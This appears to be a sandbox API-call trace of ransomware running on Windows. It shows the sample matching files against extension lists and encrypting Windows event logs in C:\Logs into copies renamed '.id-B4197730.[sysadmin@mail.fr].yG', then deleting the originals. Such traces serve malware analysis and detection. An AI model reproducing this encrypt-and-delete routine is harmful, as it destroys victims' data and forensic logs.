	[0049.034] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0049.034] lstrlenW (lpString=".1cd") returned 4
	[0049.034] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0049.034] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0049.034] lstrlenW (lpString=".jpg") returned 4
	[0049.034] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0049.034] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0049.034] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0049.034] lstrlenW (lpString=".doc") returned 4
	[0049.034] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0049.034] lstrlenW (lpString=".docx") returned 5
	[0049.034] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0049.034] lstrlenW (lpString=".pdf") returned 4
	[0049.034] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0049.034] lstrlenW (lpString=".xls") returned 4
	[0049.034] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0049.034] lstrlenW (lpString=".xlsx") returned 5
	[0049.034] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0049.034] lstrlenW (lpString=".ppt") returned 4
	[0049.034] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0049.034] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0049.034] lstrlenW (lpString=".zip") returned 4
	[0049.035] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0049.035] lstrlenW (lpString=".rar") returned 4
	[0049.035] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0049.035] lstrlenW (lpString=".bz2") returned 4
	[0049.035] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0049.035] lstrlenW (lpString=".7z") returned 3
	[0049.035] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0049.035] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0049.035] lstrlenW (lpString=".dbf") returned 4
	[0049.035] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0049.035] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0049.035] lstrlenW (lpString=".1cd") returned 4
	[0049.035] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0049.035] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72
	[0049.035] lstrlenW (lpString=".jpg") returned 4
	[0049.035] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0049.035] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0049.035] lstrlenW (lpString="Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 49
	[0049.035] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0049.035] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=69632) returned 1
	[0049.035] CloseHandle (hObject=0x2f4) returned 1
	[0049.035] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 0x20
	[0049.035] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0049.036] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0049.036] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.036] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.036] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0049.036] GetLastError () returned 0x0
	[0049.036] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0049.119] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0049.121] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0049.121] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x136, lpOverlapped=0x0) returned 1
	[0049.121] SetEndOfFile (hFile=0x37c) returned 1
	[0049.121] CloseHandle (hObject=0x37c) returned 1
	[0049.123] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.123] SetEndOfFile (hFile=0x2f4) returned 1
	[0049.124] CloseHandle (hObject=0x2f4) returned 1
	[0049.124] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0049.124] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 1
	[0049.125] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0049.125] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0049.125] lstrlenW (lpString=".doc") returned 4
	[0049.125] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0049.125] lstrlenW (lpString=".docx") returned 5
	[0049.125] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0049.125] lstrlenW (lpString=".pdf") returned 4
	[0049.125] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0049.125] lstrlenW (lpString=".xls") returned 4
	[0049.125] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0049.125] lstrlenW (lpString=".xlsx") returned 5
	[0049.125] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0049.125] lstrlenW (lpString=".ppt") returned 4
	[0049.125] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0049.125] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0049.125] lstrlenW (lpString=".zip") returned 4
	[0049.125] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0049.125] lstrlenW (lpString=".rar") returned 4
	[0049.125] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0049.125] lstrlenW (lpString=".bz2") returned 4
	[0049.125] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0049.125] lstrlenW (lpString=".7z") returned 3
	[0049.125] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0049.125] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0049.125] lstrlenW (lpString=".dbf") returned 4
	[0049.125] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0049.125] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0049.125] lstrlenW (lpString=".1cd") returned 4
	[0049.125] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0049.125] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0049.125] lstrlenW (lpString=".jpg") returned 4
	[0049.125] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0049.126] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0049.126] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0049.126] lstrlenW (lpString=".doc") returned 4
	[0049.126] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0049.126] lstrlenW (lpString=".docx") returned 5
	[0049.126] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0049.126] lstrlenW (lpString=".pdf") returned 4
	[0049.126] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0049.126] lstrlenW (lpString=".xls") returned 4
	[0049.126] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0049.126] lstrlenW (lpString=".xlsx") returned 5
	[0049.126] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0049.126] lstrlenW (lpString=".ppt") returned 4
	[0049.126] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0049.126] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0049.126] lstrlenW (lpString=".zip") returned 4
	[0049.126] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0049.126] lstrlenW (lpString=".rar") returned 4
	[0049.126] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0049.126] lstrlenW (lpString=".bz2") returned 4
	[0049.126] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0049.126] lstrlenW (lpString=".7z") returned 3
	[0049.126] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0049.126] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0049.126] lstrlenW (lpString=".dbf") returned 4
	[0049.126] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0049.126] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0049.126] lstrlenW (lpString=".1cd") returned 4
	[0049.126] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0049.126] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57
	[0049.126] lstrlenW (lpString=".jpg") returned 4
	[0049.126] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0049.126] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0049.127] lstrlenW (lpString="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 49
	[0049.127] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0049.127] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=69632) returned 1
	[0049.127] CloseHandle (hObject=0x2f4) returned 1
	[0049.127] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 0x20
	[0049.127] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0049.127] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0049.127] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.127] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.127] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0049.140] GetLastError () returned 0x0
	[0049.140] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0049.168] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0049.170] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0049.170] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x136, lpOverlapped=0x0) returned 1
	[0049.170] SetEndOfFile (hFile=0x37c) returned 1
	[0049.170] CloseHandle (hObject=0x37c) returned 1
	[0049.172] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.172] SetEndOfFile (hFile=0x2f4) returned 1
	[0049.173] CloseHandle (hObject=0x2f4) returned 1
	[0049.173] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0049.173] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 1
	[0049.174] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0049.174] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0049.174] lstrlenW (lpString=".doc") returned 4
	[0049.174] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0049.174] lstrlenW (lpString=".docx") returned 5
	[0049.174] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0049.174] lstrlenW (lpString=".pdf") returned 4
	[0049.174] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0049.174] lstrlenW (lpString=".xls") returned 4
	[0049.174] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0049.174] lstrlenW (lpString=".xlsx") returned 5
	[0049.174] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0049.174] lstrlenW (lpString=".ppt") returned 4
	[0049.174] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0049.174] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0049.174] lstrlenW (lpString=".zip") returned 4
	[0049.174] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0049.174] lstrlenW (lpString=".rar") returned 4
	[0049.174] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0049.174] lstrlenW (lpString=".bz2") returned 4
	[0049.174] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0049.174] lstrlenW (lpString=".7z") returned 3
	[0049.174] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0049.174] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0049.175] lstrlenW (lpString=".dbf") returned 4
	[0049.175] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0049.175] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0049.175] lstrlenW (lpString=".1cd") returned 4
	[0049.175] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0049.175] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0049.175] lstrlenW (lpString=".jpg") returned 4
	[0049.175] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0049.175] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0049.175] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0049.175] lstrlenW (lpString=".doc") returned 4
	[0049.175] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0049.175] lstrlenW (lpString=".docx") returned 5
	[0049.175] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0049.175] lstrlenW (lpString=".pdf") returned 4
	[0049.175] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0049.175] lstrlenW (lpString=".xls") returned 4
	[0049.175] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0049.175] lstrlenW (lpString=".xlsx") returned 5
	[0049.175] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0049.175] lstrlenW (lpString=".ppt") returned 4
	[0049.175] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0049.175] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0049.175] lstrlenW (lpString=".zip") returned 4
	[0049.175] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0049.175] lstrlenW (lpString=".rar") returned 4
	[0049.175] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0049.176] lstrlenW (lpString=".bz2") returned 4
	[0049.176] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0049.176] lstrlenW (lpString=".7z") returned 3
	[0049.176] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0049.176] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0049.176] lstrlenW (lpString=".dbf") returned 4
	[0049.176] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0049.176] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0049.176] lstrlenW (lpString=".1cd") returned 4
	[0049.176] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0049.176] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57
	[0049.176] lstrlenW (lpString=".jpg") returned 4
	[0049.176] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0049.176] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0049.176] lstrlenW (lpString="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 78
	[0049.176] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0049.176] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=1052672) returned 1
	[0049.177] CloseHandle (hObject=0x2f4) returned 1
	[0049.177] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 0x20
	[0049.177] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0049.177] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0049.177] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.177] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.177] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0049.177] GetLastError () returned 0x0
	[0049.177] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0049.270] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0049.333] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x1010, lpOverlapped=0x0) returned 1
	[0049.340] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x1020, lpOverlapped=0x0) returned 1
	[0049.343] ReadFile (in: hFile=0x2f4, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0049.343] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x170, lpOverlapped=0x0) returned 1
	[0049.343] SetEndOfFile (hFile=0x37c) returned 1
	[0049.344] CloseHandle (hObject=0x37c) returned 1
	[0049.566] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.567] SetEndOfFile (hFile=0x2f4) returned 1
	[0049.570] CloseHandle (hObject=0x2f4) returned 1
	[0049.570] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0049.570] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 1
	[0049.806] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0049.806] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0049.806] lstrlenW (lpString=".doc") returned 4
	[0049.806] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0049.806] lstrlenW (lpString=".docx") returned 5
	[0049.806] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0049.806] lstrlenW (lpString=".pdf") returned 4
	[0049.806] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0049.806] lstrlenW (lpString=".xls") returned 4
	[0049.806] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0049.806] lstrlenW (lpString=".xlsx") returned 5
	[0049.806] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0049.806] lstrlenW (lpString=".ppt") returned 4
	[0049.806] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0049.806] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0049.806] lstrlenW (lpString=".zip") returned 4
	[0049.806] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0049.806] lstrlenW (lpString=".rar") returned 4
	[0049.806] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0049.806] lstrlenW (lpString=".bz2") returned 4
	[0049.806] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0049.806] lstrlenW (lpString=".7z") returned 3
	[0049.806] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
